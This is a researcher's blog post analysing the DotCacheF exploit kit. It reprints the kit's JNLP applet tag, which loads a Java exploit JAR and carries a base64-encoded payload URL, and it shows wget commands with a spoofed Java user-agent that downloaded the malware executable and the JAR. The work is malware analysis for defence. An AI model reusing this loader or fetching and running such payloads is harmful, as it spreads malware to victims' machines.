DotCacheF - a short story

Just a brief wrap-up of my strange encounter with a cute little exploit kit called DotCacheF today. As far as I have understood the name comes from the "early days" when the EK was discovered and it had a URL structure: "*/.cache/?f*". Fair enough, but please ping me the next time someone have a chance to name a new exploit kit. I would have called it meanBalrogFoo EK or maybe even better BiggusDi*kus EK,(youtube distraction) But then again I'm a Monty Python fan.

Well enough about my bad ideas for naming EK's and lets have a look at what happened today.

Once again pinged by Malware Must Die on the hunt for a Java 0-Day.

@MalwareMustDie Will do, If I can find an angle. Little to go by...
— mal forsec (@malforsec) August 22, 2013

 That would have been cool to get my hands on, I thought.  One problem though the only clue to the puzzle was a urlquery report. And not just a report a very short report. Have a look here https://urlquery.net/report.php?id=4626937.  Hmm just a HTTP 204 response.

Having never looked in detail, myself, at the BiggusDickus, ehm DotCacheF, EK before I had to look into what this was all about. Had a brief chat with @secluded_memory, looked at @malwaresigs and checked out the write-up over at basemont.com.
Everywhere the EK stopped by a URL looking something like "hxxp://www.googlecodehosting.com/openx/js/zone_functions.js?cp=8998". And in my tiny brain I thought that must be a Gate(another youtube distraction) we have to pass through to be able to get to the valuables hidden inside the EK. So could it be possible to brute force this gate? Would a random hit do it? A couple of urlquery reports later: NOTHING. Since it was a work day, back to work.

Then came another tweet

@chort0 @hugbomb @MalwareMustDie Is the http://t.co/Ck8rlfpyUI you sent me (CVE-2013-2423) the applet from https://t.co/2cUqlTWGxQ?
— Timo Hirvonen (@TimoHirvonen) August 22, 2013

Aaahh - more info to the rescue. So we got the applet tag and the applet/class files too. Strange -  thought the quest was for a JAR. But OK lets see if we can get the payload anyway:

2013-08-25: Be aware the kit is still alive!!!

Applet tag from the EK:

<?xml version="1.0" encoding="UTF-8"?>
<jnlp spec="1.0" xmlns:jfx="http://javafx.com" href="app.jnlp">
  <information>
    <title>Applet Test JNLP</title>
    <vendor>atom</vendor>
    <description>atom</description>
    <offline-allowed/>
  </information>
  <resources>
    <j2se version="1.7+" href="http://java.sun.com/products/autodl/j2se"/>
    <jar href="hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=a&k=6315393794068431" main="true"/>
  </resources>
  <applet-desc name="atom" main-class="Auto" width="1" height="1">
    <param name="__applet_ssv_validated" value="true"/>
    <param name="url" value="aHR0cDovL3d3dy5lZXNjb25zdWx0aW5nLm5ldC9mYmMvc2l0ZXMvZGVmYXVsdC9maWxlcy9zdHlsZXMvMGJkZmNjZGE4Zi9lZjdmZDgzOWYxLz9mPXNtX21haW4ubXAzJms9NjMx
NTM5Mzc5NDA2ODQ0Mg=="/>
  </applet-desc>
  <update check="background"/>
</jnlp>

Sweet we got the JAR URL and we got a couple of parameters. One parameter which looked to be especially interesting. With the characteristics of base64 encoding.

param url encoded:

 aHR0cDovL3d3dy5lZXNjb25zdWx0aW5nLm5ldC9mYmMvc2l0ZXMvZGVmYXVsdC9maWxlcy9zdHlsZXMvMGJkZmNjZGE4Zi9lZjdmZDgzOWYxLz9mPXNtX21haW4ubXAzJms9NjMx
NTM5Mzc5NDA2ODQ0Mg==

Decoded:

hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=sm_main.mp3&k=6315393794068442

Lets fetch it the malware:

wget "hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=sm_main.mp3&k=6315393794068442" --user-agent="Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0 Java/1.6.0_21" -v a getlog -O za.exe
--2013-08-22 --  hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=sm_main.mp3&k=6315393794068442
Resolving www.eesconsulting.net... 69.25.136.179
Connecting to www.eesconsulting.net|69.25.136.179|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 279040 (272K) [audio/mpeg]
Saving to: `za.exe'

100%[===================================================================================>] 279,040     57.7K/s   in 4.7s    

2013-08-22 (57.7 KB/s) - `za.exe' saved [279040/279040]

Nice. The case was solved.

Fetching the JAR with "fully patched" Java:

--2013-08-22 --  hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=a&k=6315393794068431
Resolving www.eesconsulting.net... 69.25.136.179
Connecting to www.eesconsulting.net|69.25.136.179|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10304 (10K) [application/x-java-archive]
Saving to: `7u25.jar'

     0K ..........                                            100% 42.4K=0.2s

2013-08-22  (42.4 KB/s) - `7u25.jar' saved [10304/10304]

Just throws back the same JAR file with the vulnerability to exploit pre 7u17. So the EK is not equipped wtih the newest Java exploits then I guess.

Epilogue
Pretty straight forward EK to deal with. No evil gates. No obfuscation of the exe files.

Vitustotal for the EXE
Virustotal for the JAR

Happy getting exploits and malware out of the DotCacheF EK

Update 2013-08-23
Looks like @malwageddon have an analysis of DotCacheF posted on his blog